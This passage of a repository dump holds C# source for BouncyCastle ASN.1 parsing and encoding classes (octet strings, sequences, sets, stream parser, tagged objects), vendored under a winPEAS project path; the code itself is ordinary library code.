    "content": "﻿using System;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util.encoders;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public abstract class Asn1OctetString\n       : Asn1Object, Asn1OctetStringParser\n    {\n        internal byte[] str;\n\n        /**\n         * return an Octet string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want.\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *              be converted.\n         */\n        public static Asn1OctetString GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is Asn1OctetString)\n            {\n                return GetInstance(o);\n            }\n\n            return BerOctetString.FromSequence(Asn1Sequence.GetInstance(o));\n        }\n\n        /**\n         * return an Octet string from the given object.\n         *\n         * @param obj the object we want converted.\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static Asn1OctetString GetInstance(object obj)\n        {\n            if (obj == null || obj is Asn1OctetString)\n            {\n                return (Asn1OctetString)obj;\n            }\n            else if (obj is byte[])\n            {\n                try\n                {\n                    return GetInstance(FromByteArray((byte[])obj));\n                }\n                catch (IOException e)\n                {\n                    throw new ArgumentException(\"failed to construct OCTET STRING from byte[]: \" + e.Message);\n                }\n            }\n            // TODO: this needs to be deleted in V2\n            else if (obj is Asn1TaggedObject)\n            {\n                return GetInstance(((Asn1TaggedObject)obj).GetObject());\n            }\n            else if (obj is Asn1Encodable)\n            {\n                Asn1Object primitive = ((Asn1Encodable)obj).ToAsn1Object();\n\n                if (primitive is Asn1OctetString)\n                {\n                    return (Asn1OctetString)primitive;\n                }\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * @param string the octets making up the octet string.\n         */\n        internal Asn1OctetString(\n            byte[] str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            this.str = str;\n        }\n\n        public Stream GetOctetStream()\n        {\n            return new MemoryStream(str, false);\n        }\n\n        public Asn1OctetStringParser Parser\n        {\n            get { return this; }\n        }\n\n        public virtual byte[] GetOctets()\n        {\n            return str;\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return Arrays.GetHashCode(GetOctets());\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerOctetString other = asn1Object as DerOctetString;\n\n            if (other == null)\n                return false;\n\n            return Arrays.AreEqual(GetOctets(), other.GetOctets());\n        }\n\n        public override string ToString()\n        {\n            return \"#\" + Hex.ToHexString(str);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1OctetStringParser.cs",
    "content": "﻿using System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic interface Asn1OctetStringParser\n\t\t : IAsn1Convertible\n\t{\n\t\tStream GetOctetStream();\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1OutputStream.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class Asn1OutputStream\n        : DerOutputStream\n    {\n        public Asn1OutputStream(Stream os) : base(os)\n        {\n        }\n\n        [Obsolete(\"Use version taking an Asn1Encodable arg instead\")]\n        public override void WriteObject(\n            object obj)\n        {\n            if (obj == null)\n            {\n                WriteNull();\n            }\n            else if (obj is Asn1Object)\n            {\n                ((Asn1Object)obj).Encode(this);\n            }\n            else if (obj is Asn1Encodable)\n            {\n                ((Asn1Encodable)obj).ToAsn1Object().Encode(this);\n            }\n            else\n            {\n                throw new IOException(\"object not Asn1Encodable\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1ParsingException.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n\t[Serializable]\n#endif\n\tpublic class Asn1ParsingException\n\t\t: InvalidOperationException\n\t{\n\t\tpublic Asn1ParsingException()\n\t\t\t: base()\n\t\t{\n\t\t}\n\n\t\tpublic Asn1ParsingException(\n\t\t\tstring message)\n\t\t\t: base(message)\n\t\t{\n\t\t}\n\n\t\tpublic Asn1ParsingException(\n\t\t\tstring message,\n\t\t\tException exception)\n\t\t\t: base(message, exception)\n\t\t{\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Sequence.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util.collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public abstract class Asn1Sequence\n        : Asn1Object, IEnumerable\n    {\n        // NOTE: Only non-readonly to support LazyDerSequence\n        internal Asn1Encodable[] elements;\n\n        /**\n         * return an Asn1Sequence from the given object.\n         *\n         * @param obj the object we want converted.\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static Asn1Sequence GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is Asn1Sequence)\n            {\n                return (Asn1Sequence)obj;\n            }\n            else if (obj is Asn1SequenceParser)\n            {\n                return GetInstance(((Asn1SequenceParser)obj).ToAsn1Object());\n            }\n            else if (obj is byte[])\n            {\n                try\n                {\n                    return GetInstance(FromByteArray((byte[])obj));\n                }\n                catch (IOException e)\n                {\n                    throw new ArgumentException(\"failed to construct sequence from byte[]: \" + e.Message);\n                }\n            }\n            else if (obj is Asn1Encodable)\n            {\n                Asn1Object primitive = ((Asn1Encodable)obj).ToAsn1Object();\n\n                if (primitive is Asn1Sequence)\n                {\n                    return (Asn1Sequence)primitive;\n                }\n            }\n\n            throw new ArgumentException(\"Unknown object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        /**\n         * Return an ASN1 sequence from a tagged object. There is a special\n         * case here, if an object appears to have been explicitly tagged on\n         * reading but we were expecting it to be implicitly tagged in the\n         * normal course of events it indicates that we lost the surrounding\n         * sequence - so we need to add it back (this will happen if the tagged\n         * object is a sequence that contains other sequences). If you are\n         * dealing with implicitly tagged sequences you really <b>should</b>\n         * be using this method.\n         *\n         * @param obj the tagged object.\n         * @param explicitly true if the object is meant to be explicitly tagged,\n         *          false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *          be converted.\n         */\n        public static Asn1Sequence GetInstance(\n            Asn1TaggedObject obj,\n            bool explicitly)\n        {\n            Asn1Object inner = obj.GetObject();\n\n            if (explicitly)\n            {\n                if (!obj.IsExplicit())\n                    throw new ArgumentException(\"object implicit - explicit expected.\");\n\n                return (Asn1Sequence)inner;\n            }\n\n            //\n            // constructed object which appears to be explicitly tagged\n            // when it should be implicit means we have to add the\n            // surrounding sequence.\n            //\n            if (obj.IsExplicit())\n            {\n                if (obj is BerTaggedObject)\n                {\n                    return new BerSequence(inner);\n                }\n\n                return new DerSequence(inner);\n            }\n\n            if (inner is Asn1Sequence)\n            {\n                return (Asn1Sequence)inner;\n            }\n\n            throw new ArgumentException(\"Unknown object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        protected internal Asn1Sequence()\n        {\n            this.elements = Asn1EncodableVector.EmptyElements;\n        }\n\n        protected internal Asn1Sequence(Asn1Encodable element)\n        {\n            if (null == element)\n                throw new ArgumentNullException(\"element\");\n\n            this.elements = new Asn1Encodable[] { element };\n        }\n\n        protected internal Asn1Sequence(params Asn1Encodable[] elements)\n        {\n            if (Arrays.IsNullOrContainsNull(elements))\n                throw new NullReferenceException(\"'elements' cannot be null, or contain null\");\n\n            this.elements = Asn1EncodableVector.CloneElements(elements);\n        }\n\n        protected internal Asn1Sequence(Asn1EncodableVector elementVector)\n        {\n            if (null == elementVector)\n                throw new ArgumentNullException(\"elementVector\");\n\n            this.elements = elementVector.TakeElements();\n        }\n\n        public virtual IEnumerator GetEnumerator()\n        {\n            return elements.GetEnumerator();\n        }\n\n        private class Asn1SequenceParserImpl\n            : Asn1SequenceParser\n        {\n            private readonly Asn1Sequence outer;\n            private readonly int max;\n            private int index;\n\n            public Asn1SequenceParserImpl(\n                Asn1Sequence outer)\n            {\n                this.outer = outer;\n                this.max = outer.Count;\n            }\n\n            public IAsn1Convertible ReadObject()\n            {\n                if (index == max)\n                    return null;\n\n                Asn1Encodable obj = outer[index++];\n\n                if (obj is Asn1Sequence)\n                    return ((Asn1Sequence)obj).Parser;\n\n                if (obj is Asn1Set)\n                    return ((Asn1Set)obj).Parser;\n\n                // NB: Asn1OctetString implements Asn1OctetStringParser directly\n                //\t\t\t\tif (obj is Asn1OctetString)\n                //\t\t\t\t\treturn ((Asn1OctetString)obj).Parser;\n\n                return obj;\n            }\n\n            public Asn1Object ToAsn1Object()\n            {\n                return outer;\n            }\n        }\n\n        public virtual Asn1SequenceParser Parser\n        {\n            get { return new Asn1SequenceParserImpl(this); }\n        }\n\n        /**\n         * return the object at the sequence position indicated by index.\n         *\n         * @param index the sequence number (starting at zero) of the object\n         * @return the object at the sequence position indicated by index.\n         */\n        public virtual Asn1Encodable this[int index]\n        {\n            get { return elements[index]; }\n        }\n\n        public virtual int Count\n        {\n            get { return elements.Length; }\n        }\n\n        public virtual Asn1Encodable[] ToArray()\n        {\n            return Asn1EncodableVector.CloneElements(elements);\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            //return Arrays.GetHashCode(elements);\n            int i = elements.Length;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                hc *= 257;\n                hc ^= elements[i].ToAsn1Object().CallAsn1GetHashCode();\n            }\n\n            return hc;\n        }\n\n        protected override bool Asn1Equals(Asn1Object asn1Object)\n        {\n            Asn1Sequence that = asn1Object as Asn1Sequence;\n            if (null == that)\n                return false;\n\n            int count = this.Count;\n            if (that.Count != count)\n                return false;\n\n            for (int i = 0; i < count; ++i)\n            {\n                Asn1Object o1 = this.elements[i].ToAsn1Object();\n                Asn1Object o2 = that.elements[i].ToAsn1Object();\n\n                if (o1 != o2 && !o1.CallAsn1Equals(o2))\n                    return false;\n            }\n\n            return true;\n        }\n\n        public override string ToString()\n        {\n            return CollectionUtilities.ToString(elements);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1SequenceParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic interface Asn1SequenceParser\n\t\t: IAsn1Convertible\n\t{\n\t\tIAsn1Convertible ReadObject();\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Set.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Diagnostics;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util.collections;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    abstract public class Asn1Set\n     : Asn1Object, IEnumerable\n    {\n        // NOTE: Only non-readonly to support LazyDerSet\n        internal Asn1Encodable[] elements;\n\n        /**\n         * return an ASN1Set from the given object.\n         *\n         * @param obj the object we want converted.\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static Asn1Set GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is Asn1Set)\n            {\n                return (Asn1Set)obj;\n            }\n            else if (obj is Asn1SetParser)\n            {\n                return Asn1Set.GetInstance(((Asn1SetParser)obj).ToAsn1Object());\n            }\n            else if (obj is byte[])\n            {\n                try\n                {\n                    return Asn1Set.GetInstance(FromByteArray((byte[])obj));\n                }\n                catch (IOException e)\n                {\n                    throw new ArgumentException(\"failed to construct set from byte[]: \" + e.Message);\n                }\n            }\n            else if (obj is Asn1Encodable)\n            {\n                Asn1Object primitive = ((Asn1Encodable)obj).ToAsn1Object();\n\n                if (primitive is Asn1Set)\n                {\n                    return (Asn1Set)primitive;\n                }\n            }\n\n            throw new ArgumentException(\"Unknown object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        /**\n         * Return an ASN1 set from a tagged object. There is a special\n         * case here, if an object appears to have been explicitly tagged on\n         * reading but we were expecting it to be implicitly tagged in the\n         * normal course of events it indicates that we lost the surrounding\n         * set - so we need to add it back (this will happen if the tagged\n         * object is a sequence that contains other sequences). If you are\n         * dealing with implicitly tagged sets you really <b>should</b>\n         * be using this method.\n         *\n         * @param obj the tagged object.\n         * @param explicitly true if the object is meant to be explicitly tagged\n         *          false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *          be converted.\n         */\n        public static Asn1Set GetInstance(\n            Asn1TaggedObject obj,\n            bool explicitly)\n        {\n            Asn1Object inner = obj.GetObject();\n\n            if (explicitly)\n            {\n                if (!obj.IsExplicit())\n                    throw new ArgumentException(\"object implicit - explicit expected.\");\n\n                return (Asn1Set)inner;\n            }\n\n            //\n            // constructed object which appears to be explicitly tagged\n            // and it's really implicit means we have to add the\n            // surrounding sequence.\n            //\n            if (obj.IsExplicit())\n            {\n                return new DerSet(inner);\n            }\n\n            if (inner is Asn1Set)\n            {\n                return (Asn1Set)inner;\n            }\n\n            //\n            // in this case the parser returns a sequence, convert it\n            // into a set.\n            //\n            if (inner is Asn1Sequence)\n            {\n                Asn1EncodableVector v = new Asn1EncodableVector();\n                Asn1Sequence s = (Asn1Sequence)inner;\n\n                foreach (Asn1Encodable ae in s)\n                {\n                    v.Add(ae);\n                }\n\n                // TODO Should be able to construct set directly from sequence?\n                return new DerSet(v, false);\n            }\n\n            throw new ArgumentException(\"Unknown object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        protected internal Asn1Set()\n        {\n            this.elements = Asn1EncodableVector.EmptyElements;\n        }\n\n        protected internal Asn1Set(Asn1Encodable element)\n        {\n            if (null == element)\n                throw new ArgumentNullException(\"element\");\n\n            this.elements = new Asn1Encodable[] { element };\n        }\n\n        protected internal Asn1Set(params Asn1Encodable[] elements)\n        {\n            if (Arrays.IsNullOrContainsNull(elements))\n                throw new NullReferenceException(\"'elements' cannot be null, or contain null\");\n\n            this.elements = Asn1EncodableVector.CloneElements(elements);\n        }\n\n        protected internal Asn1Set(Asn1EncodableVector elementVector)\n        {\n            if (null == elementVector)\n                throw new ArgumentNullException(\"elementVector\");\n\n            this.elements = elementVector.TakeElements();\n        }\n\n        public virtual IEnumerator GetEnumerator()\n        {\n            return elements.GetEnumerator();\n        }\n\n        /**\n         * return the object at the set position indicated by index.\n         *\n         * @param index the set number (starting at zero) of the object\n         * @return the object at the set position indicated by index.\n         */\n        public virtual Asn1Encodable this[int index]\n        {\n            get { return elements[index]; }\n        }\n\n        public virtual int Count\n        {\n            get { return elements.Length; }\n        }\n\n        public virtual Asn1Encodable[] ToArray()\n        {\n            return Asn1EncodableVector.CloneElements(elements);\n        }\n\n        private class Asn1SetParserImpl\n            : Asn1SetParser\n        {\n            private readonly Asn1Set outer;\n            private readonly int max;\n            private int index;\n\n            public Asn1SetParserImpl(\n                Asn1Set outer)\n            {\n                this.outer = outer;\n                this.max = outer.Count;\n            }\n\n            public IAsn1Convertible ReadObject()\n            {\n                if (index == max)\n                    return null;\n\n                Asn1Encodable obj = outer[index++];\n                if (obj is Asn1Sequence)\n                    return ((Asn1Sequence)obj).Parser;\n\n                if (obj is Asn1Set)\n                    return ((Asn1Set)obj).Parser;\n\n                // NB: Asn1OctetString implements Asn1OctetStringParser directly\n                //\t\t\t\tif (obj is Asn1OctetString)\n                //\t\t\t\t\treturn ((Asn1OctetString)obj).Parser;\n\n                return obj;\n            }\n\n            public virtual Asn1Object ToAsn1Object()\n            {\n                return outer;\n            }\n        }\n\n        public Asn1SetParser Parser\n        {\n            get { return new Asn1SetParserImpl(this); }\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            //return Arrays.GetHashCode(elements);\n            int i = elements.Length;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                hc *= 257;\n                hc ^= elements[i].ToAsn1Object().CallAsn1GetHashCode();\n            }\n\n            return hc;\n        }\n\n        protected override bool Asn1Equals(Asn1Object asn1Object)\n        {\n            Asn1Set that = asn1Object as Asn1Set;\n            if (null == that)\n                return false;\n\n            int count = this.Count;\n            if (that.Count != count)\n                return false;\n\n            for (int i = 0; i < count; ++i)\n            {\n                Asn1Object o1 = this.elements[i].ToAsn1Object();\n                Asn1Object o2 = that.elements[i].ToAsn1Object();\n\n                if (o1 != o2 && !o1.CallAsn1Equals(o2))\n                    return false;\n            }\n\n            return true;\n        }\n\n        protected internal void Sort()\n        {\n            if (elements.Length < 2)\n                return;\n\n#if PORTABLE\n            this.elements = elements\n                .Cast<Asn1Encodable>()\n                .Select(a => new { Item = a, Key = a.GetEncoded(Asn1Encodable.Der) })\n                .OrderBy(t => t.Key, new DerComparer())\n                .Select(t => t.Item)\n                .ToArray();\n#else\n            int count = elements.Length;\n            byte[][] keys = new byte[count][];\n            for (int i = 0; i < count; ++i)\n            {\n                keys[i] = elements[i].GetEncoded(Asn1Encodable.Der);\n            }\n            Array.Sort(keys, elements, new DerComparer());\n#endif\n        }\n\n        public override string ToString()\n        {\n            return CollectionUtilities.ToString(elements);\n        }\n\n#if PORTABLE\n        private class DerComparer\n            : IComparer<byte[]>\n        {\n            public int Compare(byte[] x, byte[] y)\n            {\n                byte[] a = x, b = y;\n#else\n        private class DerComparer\n            : IComparer\n        {\n            public int Compare(object x, object y)\n            {\n                byte[] a = (byte[])x, b = (byte[])y;\n#endif\n                Debug.Assert(a.Length >= 2 && b.Length >= 2);\n\n                /*\n                 * NOTE: Set elements in DER encodings are ordered first according to their tags (class and\n                 * number); the CONSTRUCTED bit is not part of the tag.\n                 * \n                 * For SET-OF, this is unimportant. All elements have the same tag and DER requires them to\n                 * either all be in constructed form or all in primitive form, according to that tag. The\n                 * elements are effectively ordered according to their content octets.\n                 * \n                 * For SET, the elements will have distinct tags, and each will be in constructed or\n                 * primitive form accordingly. Failing to ignore the CONSTRUCTED bit could therefore lead to\n                 * ordering inversions.\n                 */\n                int a0 = a[0] & ~Asn1Tags.Constructed;\n                int b0 = b[0] & ~Asn1Tags.Constructed;\n                if (a0 != b0)\n                    return a0 < b0 ? -1 : 1;\n\n                int len = System.Math.Min(a.Length, b.Length);\n                for (int i = 1; i < len; ++i)\n                {\n                    byte ai = a[i], bi = b[i];\n                    if (ai != bi)\n                        return ai < bi ? -1 : 1;\n                }\n                Debug.Assert(a.Length == b.Length);\n                return 0;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1SetParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic interface Asn1SetParser\n\t\t : IAsn1Convertible\n\t{\n\t\tIAsn1Convertible ReadObject();\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1StreamParser.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class Asn1StreamParser\n\t{\n\t\tprivate readonly Stream _in;\n\t\tprivate readonly int _limit;\n\n\t\tprivate readonly byte[][] tmpBuffers;\n\n\t\tpublic Asn1StreamParser(\n\t\t\tStream inStream)\n\t\t\t: this(inStream, Asn1InputStream.FindLimit(inStream))\n\t\t{\n\t\t}\n\n\t\tpublic Asn1StreamParser(\n\t\t\tStream inStream,\n\t\t\tint limit)\n\t\t{\n\t\t\tif (!inStream.CanRead)\n\t\t\t\tthrow new ArgumentException(\"Expected stream to be readable\", \"inStream\");\n\n\t\t\tthis._in = inStream;\n\t\t\tthis._limit = limit;\n\t\t\tthis.tmpBuffers = new byte[16][];\n\t\t}\n\n\t\tpublic Asn1StreamParser(\n\t\t\tbyte[] encoding)\n\t\t\t: this(new MemoryStream(encoding, false), encoding.Length)\n\t\t{\n\t\t}\n\n\t\tinternal IAsn1Convertible ReadIndef(int tagValue)\n\t\t{\n\t\t\t// Note: INDEF => CONSTRUCTED\n\n\t\t\t// TODO There are other tags that may be constructed (e.g. BIT_STRING)\n\t\t\tswitch (tagValue)\n\t\t\t{\n\t\t\t\tcase Asn1Tags.External:\n\t\t\t\t\treturn new DerExternalParser(this);\n\t\t\t\tcase Asn1Tags.OctetString:\n\t\t\t\t\treturn new BerOctetStringParser(this);\n\t\t\t\tcase Asn1Tags.Sequence:\n\t\t\t\t\treturn new BerSequenceParser(this);\n\t\t\t\tcase Asn1Tags.Set:\n\t\t\t\t\treturn new BerSetParser(this);\n\t\t\t\tdefault:\n\t\t\t\t\tthrow new Asn1Exception(\"unknown BER object encountered: 0x\" + tagValue.ToString(\"X\"));\n\t\t\t}\n\t\t}\n\n\t\tinternal IAsn1Convertible ReadImplicit(bool constructed, int tag)\n\t\t{\n\t\t\tif (_in is IndefiniteLengthInputStream)\n\t\t\t{\n\t\t\t\tif (!constructed)\n\t\t\t\t\tthrow new IOException(\"indefinite-length primitive encoding encountered\");\n\n\t\t\t\treturn ReadIndef(tag);\n\t\t\t}\n\n\t\t\tif (constructed)\n\t\t\t{\n\t\t\t\tswitch (tag)\n\t\t\t\t{\n\t\t\t\t\tcase Asn1Tags.Set:\n\t\t\t\t\t\treturn new DerSetParser(this);\n\t\t\t\t\tcase Asn1Tags.Sequence:\n\t\t\t\t\t\treturn new DerSequenceParser(this);\n\t\t\t\t\tcase Asn1Tags.OctetString:\n\t\t\t\t\t\treturn new BerOctetStringParser(this);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tswitch (tag)\n\t\t\t\t{\n\t\t\t\t\tcase Asn1Tags.Set:\n\t\t\t\t\t\tthrow new Asn1Exception(\"sequences must use constructed encoding (see X.690 8.9.1/8.10.1)\");\n\t\t\t\t\tcase Asn1Tags.Sequence:\n\t\t\t\t\t\tthrow new Asn1Exception(\"sets must use constructed encoding (see X.690 8.11.1/8.12.1)\");\n\t\t\t\t\tcase Asn1Tags.OctetString:\n\t\t\t\t\t\treturn new DerOctetStringParser((DefiniteLengthInputStream)_in);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tthrow new Asn1Exception(\"implicit tagging not implemented\");\n\t\t}\n\n\t\tinternal Asn1Object ReadTaggedObject(bool constructed, int tag)\n\t\t{\n\t\t\tif (!constructed)\n\t\t\t{\n\t\t\t\t// Note: !CONSTRUCTED => IMPLICIT\n\t\t\t\tDefiniteLengthInputStream defIn = (DefiniteLengthInputStream)_in;\n\t\t\t\treturn new DerTaggedObject(false, tag, new DerOctetString(defIn.ToArray()));\n\t\t\t}\n\n\t\t\tAsn1EncodableVector v = ReadVector();\n\n\t\t\tif (_in is IndefiniteLengthInputStream)\n\t\t\t{\n\t\t\t\treturn v.Count == 1\n\t\t\t\t\t? new BerTaggedObject(true, tag, v[0])\n\t\t\t\t\t: new BerTaggedObject(false, tag, BerSequence.FromVector(v));\n\t\t\t}\n\n\t\t\treturn v.Count == 1\n\t\t\t\t? new DerTaggedObject(true, tag, v[0])\n\t\t\t\t: new DerTaggedObject(false, tag, DerSequence.FromVector(v));\n\t\t}\n\n\t\tpublic virtual IAsn1Convertible ReadObject()\n\t\t{\n\t\t\tint tag = _in.ReadByte();\n\t\t\tif (tag == -1)\n\t\t\t\treturn null;\n\n\t\t\t// turn of looking for \"00\" while we resolve the tag\n\t\t\tSet00Check(false);\n\n\t\t\t//\n\t\t\t// calculate tag number\n\t\t\t//\n\t\t\tint tagNo = Asn1InputStream.ReadTagNumber(_in, tag);\n\n\t\t\tbool isConstructed = (tag & Asn1Tags.Constructed) != 0;\n\n\t\t\t//\n\t\t\t// calculate length\n\t\t\t//\n\t\t\tint length = Asn1InputStream.ReadLength(_in, _limit,\n\t\t\t\ttagNo == Asn1Tags.OctetString || tagNo == Asn1Tags.Sequence || tagNo == Asn1Tags.Set || tagNo == Asn1Tags.External);\n\n\t\t\tif (length < 0) // indefinite-length method\n\t\t\t{\n\t\t\t\tif (!isConstructed)\n\t\t\t\t\tthrow new IOException(\"indefinite-length primitive encoding encountered\");\n\n\t\t\t\tIndefiniteLengthInputStream indIn = new IndefiniteLengthInputStream(_in, _limit);\n\t\t\t\tAsn1StreamParser sp = new Asn1StreamParser(indIn, _limit);\n\n\t\t\t\tif ((tag & Asn1Tags.Application) != 0)\n\t\t\t\t{\n\t\t\t\t\treturn new BerApplicationSpecificParser(tagNo, sp);\n\t\t\t\t}\n\n\t\t\t\tif ((tag & Asn1Tags.Tagged) != 0)\n\t\t\t\t{\n\t\t\t\t\treturn new BerTaggedObjectParser(true, tagNo, sp);\n\t\t\t\t}\n\n\t\t\t\treturn sp.ReadIndef(tagNo);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tDefiniteLengthInputStream defIn = new DefiniteLengthInputStream(_in, length, _limit);\n\n\t\t\t\tif ((tag & Asn1Tags.Application) != 0)\n\t\t\t\t{\n\t\t\t\t\treturn new DerApplicationSpecific(isConstructed, tagNo, defIn.ToArray());\n\t\t\t\t}\n\n\t\t\t\tif ((tag & Asn1Tags.Tagged) != 0)\n\t\t\t\t{\n\t\t\t\t\treturn new BerTaggedObjectParser(isConstructed, tagNo, new Asn1StreamParser(defIn));\n\t\t\t\t}\n\n\t\t\t\tif (isConstructed)\n\t\t\t\t{\n\t\t\t\t\t// TODO There are other tags that may be constructed (e.g. BitString)\n\t\t\t\t\tswitch (tagNo)\n\t\t\t\t\t{\n\t\t\t\t\t\tcase Asn1Tags.OctetString:\n\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\t// yes, people actually do this...\n\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\treturn new BerOctetStringParser(new Asn1StreamParser(defIn));\n\t\t\t\t\t\tcase Asn1Tags.Sequence:\n\t\t\t\t\t\t\treturn new DerSequenceParser(new Asn1StreamParser(defIn));\n\t\t\t\t\t\tcase Asn1Tags.Set:\n\t\t\t\t\t\t\treturn new DerSetParser(new Asn1StreamParser(defIn));\n\t\t\t\t\t\tcase Asn1Tags.External:\n\t\t\t\t\t\t\treturn new DerExternalParser(new Asn1StreamParser(defIn));\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tthrow new IOException(\"unknown tag \" + tagNo + \" encountered\");\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Some primitive encodings can be handled by parsers too...\n\t\t\t\tswitch (tagNo)\n\t\t\t\t{\n\t\t\t\t\tcase Asn1Tags.OctetString:\n\t\t\t\t\t\treturn new DerOctetStringParser(defIn);\n\t\t\t\t}\n\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\treturn Asn1InputStream.CreatePrimitiveDerObject(tagNo, defIn, tmpBuffers);\n\t\t\t\t}\n\t\t\t\tcatch (ArgumentException e)\n\t\t\t\t{\n\t\t\t\t\tthrow new Asn1Exception(\"corrupted stream detected\", e);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate void Set00Check(\n\t\t\tbool enabled)\n\t\t{\n\t\t\tif (_in is IndefiniteLengthInputStream)\n\t\t\t{\n\t\t\t\t((IndefiniteLengthInputStream)_in).SetEofOn00(enabled);\n\t\t\t}\n\t\t}\n\n\t\tinternal Asn1EncodableVector ReadVector()\n\t\t{\n\t\t\tIAsn1Convertible obj = ReadObject();\n\t\t\tif (null == obj)\n\t\t\t\treturn new Asn1EncodableVector(0);\n\n\t\t\tAsn1EncodableVector v = new Asn1EncodableVector();\n\t\t\tdo\n\t\t\t{\n\t\t\t\tv.Add(obj.ToAsn1Object());\n\t\t\t}\n\t\t\twhile ((obj = ReadObject()) != null);\n\t\t\treturn v;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1TaggedObject.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n   * ASN.1 TaggedObject - in ASN.1 notation this is any object preceded by\n   * a [n] where n is some number - these are assumed to follow the construction\n   * rules (as with sequences).\n   */\n    public abstract class Asn1TaggedObject\n        : Asn1Object, Asn1TaggedObjectParser\n    {\n        internal static bool IsConstructed(bool isExplicit, Asn1Object obj)\n        {\n            if (isExplicit || obj is Asn1Sequence || obj is Asn1Set)\n                return true;\n            Asn1TaggedObject tagged = obj as Asn1TaggedObject;\n            if (tagged == null)\n                return false;\n            return IsConstructed(tagged.IsExplicit(), tagged.GetObject());\n        }\n\n        internal int tagNo;\n        //        internal bool           empty;\n        internal bool explicitly = true;\n        internal Asn1Encodable obj;\n\n        static public Asn1TaggedObject GetInstance(\n            Asn1TaggedObject obj,\n            bool explicitly)\n        {\n            if (explicitly)\n            {\n                return GetInstance(obj.GetObject());\n            }\n\n            throw new ArgumentException(\"implicitly tagged tagged object\");\n        }\n\n        static public Asn1TaggedObject GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is Asn1TaggedObject)\n            {\n                return (Asn1TaggedObject)obj;\n            }\n\n            throw new ArgumentException(\"Unknown object in GetInstance: \" + Platform.GetTypeName(obj), \"obj\");\n        }\n\n        /**\n         * @param tagNo the tag number for this object.\n         * @param obj the tagged object.\n         */\n        protected Asn1TaggedObject(\n            int tagNo,\n            Asn1Encodable obj)\n        {\n            this.explicitly 